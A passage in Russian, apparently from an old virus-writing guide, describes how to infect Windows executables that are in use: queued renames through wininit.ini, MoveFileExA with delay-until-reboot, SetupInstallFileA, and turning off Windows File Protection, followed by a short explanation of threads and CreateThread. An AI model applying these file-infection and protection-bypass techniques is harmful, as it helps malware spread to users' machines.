уже знаете, запущенные программы в win32 нельзя стереть/открыть на запись, а значит, и заразить. Есть два способа обхода этого дела, для win9X и для winNT. Под маздаем к %windir\wininit.ini дописываются 2 строчки: [rename] dstfile=srcfile И заражается не открытый файл, а его копия, которая затем при перезагрузке будет автоматом переименована в файл, а оригинальный файл стерт. Указанную херь к файлу удобно дописывать функцией WritePrivateProfileStringA. А в ring-0 можно заразить даже открытый файл. Под winNT дважды используется ф-ция MoveFileExA с параметром DELAY_UNTIL_REBOOT, первый раз чтоб стереть старый файл и второй раз для переименования. Однако, как выяснилось, MoveFileExA суть наиглючнейшая штука, и у кого он там работает, я не знаю, и ни под winNT 4 ни под win2000 нихуя заменить explorer.exe им не получилось. Поэтому, в NT 3/4 просто переименовывайте старое имя файла в рандомное, даже если он сейчас исполняется; а под win2000 перед этим отключайте SFC. Ну и кроме этого есть SETUPAPI.DLL::SetupInstallFileA, что суть _работающий_ аналог movefileex'а. Hити. Hить (thread) -- это сущность, более всего напоминающая некий виртуальный процессор. В каждой нити -- свой набор регистров. Ваш процессор последовательно их (регистры) перезагружает и по нескольку долей секунды (кванты времени) работает то в одной то в другой нити. В результате с точки зрения нити, она испольняется параллельно с остальными. В каждом процессе есть как минимум одна нить -- основная. Хотя кроме основной, можно создавать и другие, используя CreateThread. Единственно и только с помощью CreateThread можно работать в адресном пространстве процесса параллельно с самим процессом. * * *